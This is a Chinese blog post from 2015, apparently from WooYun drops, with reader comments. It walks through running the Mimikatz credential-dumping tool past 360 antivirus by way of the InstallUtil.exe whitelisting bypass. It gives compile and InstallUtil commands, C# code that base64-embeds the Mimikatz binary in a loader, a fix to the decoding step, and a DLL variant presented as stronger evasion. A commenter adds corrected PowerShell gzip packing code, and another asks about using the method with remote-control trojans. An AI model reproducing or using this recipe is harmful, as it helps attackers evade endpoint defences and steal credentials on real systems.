利用白名单绕过360实例

0x00 前言


最近subTee在其博客中介绍了如何利用白名单绕过防护,但细节存在bug,所以本文仅介绍如何修复其bug并利用该方法绕过360,更多利用方法值得探索

博客链接:

http://subt0x10.blogspot.hk/(需翻墙)

文章地址:

http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html(需翻墙)

0x01 测试目标

下载最新版本Mimikatz,实现绕过杀毒软件的查杀。

0x02 测试环境


操作系统:Win7 x64

mimikatz版本:2.0 alpha 20150906 (oe.eo) edition(目前为止最新)

下载链接:https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906

测试日期:9/14/2015

0x03 实际测试


建议先了解参考链接,链接中提到的相关基础知识不做再次介绍

1、下载最新mimikatz,测试查杀情况

毫无疑问,被查杀,如图

enter image description here

2、利用InstallUtil.exe执行程序

(1)下载https://gist.github.com/subTee/00cdac8990584bd2c2fe并保存为PELoader.cs

(2)参照博客中的示例,执行如下代码:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs


C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

如图,生成PELoader.exe,然后通过InstallUtil.exe执行PELoader.exe

enter image description here

enter image description here

enter image description here

成功加载运行mimikatz

进程显示为InstallUtil.exe,如图

enter image description here

(3)测试生成的PELoader.exe查杀情况

如图,360成功检测威胁

enter image description here

(4)尝试修改PELoader.cs

阅读代码发现Line853-856存储了base64加密后的mimikatz

enter image description here

那么参照作者给出的修改方法修改

作者给出的修改方法如下:

* Base64 Encode Mimikatz In PowerShell-  $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64")  * 
[OR] 
byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close();  *

(5)测试Base64 Encode Mimikatz In PowerShell

按照作者给出的方法对mimikatzbase64编码并保存在Mimikatz.b64文件中

如图

enter image description here

执行Powershell代码

执行后生成Mimikatz.b64,如图

enter image description here

打开将内容复制到PELoader.cs中的变量KatzCompressed的定义中,如图

enter image description here

按照步骤(2)执行测试,发现错误,如图

enter image description here

0x04 分析


作者给出的实例代码如果无法修改,未免太鸡肋,必须找到修改方法,实现执行任意程序

0x05 解决方案


在做了多次实验并研究代码后成功找到了错误原因:

Powershellbase64编码同c#base64解码之间存在解析错误

解决步骤:

(1)使用c#对mimikatz作base64加密

代码如下:

using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace test1
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] AsBytes = File.ReadAllBytes(@"C:\testcs\mimikatz.exe");
            String AsBase64String = Convert.ToBase64String(AsBytes);
            StreamWriter sw = new StreamWriter(@"C:\testcs\mimikatz.b64");
            sw.Write(AsBase64String);
            sw.Close();
        }
    }
}

我使用的环境是vs2012,新建c#工程,填写以上代码,编译后运行,生成新的mimikatz.b64,如图

enter image description here

细心的同学可以发现和之前使用Powershell生成的mimikatz.b64有所区别

(2)替换变量KatzCompressed的定义内容

如图

enter image description here

(3)修改解密过程

定位PELoader.cs Line106,去掉

byte[] decompressed = Decompress(FromBase64);

在前面添加“//”即可,如图

enter image description here

(4)再次编译并利用InstallUtil.exe执行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

如图

enter image description here

证明修改成功,能够顺利执行我们修改的代码

(5)增强免杀

采用如下生成步骤:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll

如图

enter image description here

也可以成功加载mimikatz

测试查杀情况

如图

enter image description here

enter image description here

enter image description here

enter image description here

enter image description here

enter image description here

注:测试全过程开启360,主动防御未触发

0x06 小结


通过InstallUtil.exe执行程序的方法不仅可使程序逃过杀毒软件的查杀,更能够规避程序运行白名单的限制,其他操作系统下的情况有所不同,更多细节值得研究。

参照zone中大家的建议,希望这篇文章是大家喜欢看到的类型:)

本文由三好学生原创并首发于乌云drops,转载请注明

©乌云知识库版权所有 未经许可 禁止转载


30
tellyousth 2016-03-19 17:44:58

楼主的文章很精彩,受用不小。但有一点我觉得是这样的,首先人家原始代码并没有任何问题,你之所以用powershell的代码生成出来的执行会失败,主要是因为以下两点:
1.人家源码里是纯二进制字节操作,但是你的powershell代码中却以utf8格式进行了编码读取,人家源码里并没有处理utf8编码的代码,所以还原的时候出现了问题。
2.人家源码明确写了在base64编码之后还要进行gzip解压缩,但是你的powershell代码并没有进行gzip压缩,所以可能也会造成还原的时候出错。
所以,正确的powershell代码应该是这样的:
$memstream = New-Object System.IO.MemoryStream
$gzipstream = New-Object System.IO.Compression.GZipStream($memstream,[System.IO.Compression.CompressionMode]::Compress,$True)
$bytes = [System.IO.File]::ReadAllBytes('c:\projects\test.exe')
$gzipstream.Write($bytes,0,$bytes.length)
[System.Convert]::ToBase64String($memstream.ToArray()) | Set-Content 'c:\projects\test.b64'

不对之处还请指正

30
Fnut 2015-10-10 16:22:59

请问这个具体是利用了什么原理才绕过了360的检测呢

30
三好学生 2015-09-21 10:55:16

@我是绕不过
下篇文章会有更多的测试详情
你没有提到你的操作系统版本环境,抱歉无法回答你的问题

30
DC3 2015-09-18 13:03:23

远控的木马能用这方法不?感觉有点不行啊

30
珈蓝夜宇 2015-09-17 10:48:17

换个ID刷drops,居然发现了好东西~欧耶

感谢知乎授权页面模版